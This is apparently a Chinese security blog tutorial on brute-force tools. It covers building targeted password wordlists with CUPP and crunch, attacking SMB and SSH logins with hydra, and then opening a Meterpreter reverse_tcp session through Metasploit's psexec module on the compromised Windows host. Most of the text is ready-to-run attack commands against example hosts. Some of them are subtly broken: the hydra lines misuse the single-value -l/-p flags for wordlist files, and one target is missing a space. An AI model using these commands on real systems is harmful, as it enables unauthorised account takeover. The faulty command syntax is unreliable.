网络安全自修室

V1

2022/07/28阅读:13主题:萌绿

[附下载]推荐几款暴力破解和字典生成的工具

本文主要设计如下内容 1.CUPP(kali) 2.亦思社会工程学学点生成器 3.一句话密码破解工具 4.crunch(kali) 5.hydra(kali)

相关字典和工具可在文末获取百度云下载地址

CUPP(kali)

首先,安装cupp软件

apt install -y cupp

新建一个文件夹,用于保存生成的字典

输入 cupp -i 命令开始编辑生成字典

根据自己已知的信息,生成字典。

查看生成的字典 cat san.txt

亦思社会工程学学点生成器

一句话密码破解工具

crunch(kali)

crunch是kali自带的工具,是一种创建密码字典的工具。按照指定的规则生成密码字典,可以灵活的定制自己的字典文件。

首先,先尝试一个简单的命令。如图所示。1 8表示密码是8位 后面的是密码的范围,我们可以看出按照这种方式输出的字典有23TB。(切记,运行一下立马暂停,否则会卡死)

查看帮助

man crunch > crunch.help

命令格式

crunch <min-len> <max-len> [<charset string>]  [options]

参数说明

min-len         设定最小字符串长度(必选)
max-len  设定最大字符串长度(必选)
charset string 字符集
options
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件

特殊字符

%  代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字母

查看库文件

cat /usr/share/crunch/charset.lst

如图所示,前面显示的名称,后面显示的内容是字符集 。这些都是设置好的,我们也可以自定义写一个字符集。

例子1:生成-1-8位密码字典,字符集合为小写字母,从a开始到zzzzzzzz结束

crunch 1 8

例子2:生成1-6位的密码字典,字符集合为[abcdefg],从a开始到gggggg结束

crunch 1 6 abcdefg

例子3:生成指定字符串,比如生日的日期(%代表数字)

crunch 8 8 -t 199307%% -e 19930730

例子4:生成元素的组合,比如123.com

crunch 7 7 -t %%%.com -s 111.com -e 123.com

例子5:在字典中输出特殊字符

crunch 3 3  abc -t @@@ -l @aa

例子6: 以元素组合生成字典[zhangsan|1993|0701]

crunch 4 4 -p zhangsan 1992 0701

例子6:

自定义字符集合

vim /usr/share/crunch/charset.lst

创建自定义字符集合

添加一个字符集 

使用自定义字符集生成[*.com] 字典文件

crunch 5 5 -f /usr/share/crunch/charset.lst test -t @.com

hydra(kali)

首先,先准备两个文件:常用的账号和密码文件。这个是我从github下载的,账号和密码都有几千条。文章最后,我会将文件下载地址分享一下。

windows口令破解

hydra -l ./user.txt -p ./pass.txt smb 192.168.0.110 -vV -f -e nsr
-l	指定一个用户名
-p 指定一个密码
-P 指定密码字典
-L 指定用户名字典
-vV 显示爆破细节
-o 保存爆破结果
-f 找到正确的密码就停止爆破
-e
n null
s same
r 反向
-t 线程

爆破成功后,我们使用msf中的use exploit/windows/smb/psexec模块去链接。

建立payload    set payload windows/meterpreter/reverse_tcp

查看需要配置的参数 show options

设置目标主机 set RHOSTS 192.168.0.110

设置账号和密码 set SMBPass xxx    set SMBUser  xxx

run或者exploit进行连接

linux口令破解

linux口令破解,也分为远程破解与本地破解。远程破解主要是爆破ssh服务,属于在线密码攻击。本地破解需要拿到linux的shadow文件,进行hash值破解,属于离线密码攻击。

破解ssh服务

hydra -l ./user.txt -p ./pass.txt ssh://127.0.0.1-vV -f -t 64

分类:

后端

标签:

计算机网络

作者介绍

网络安全自修室
V1

获取更多网络安全学习资源,关注我公粽号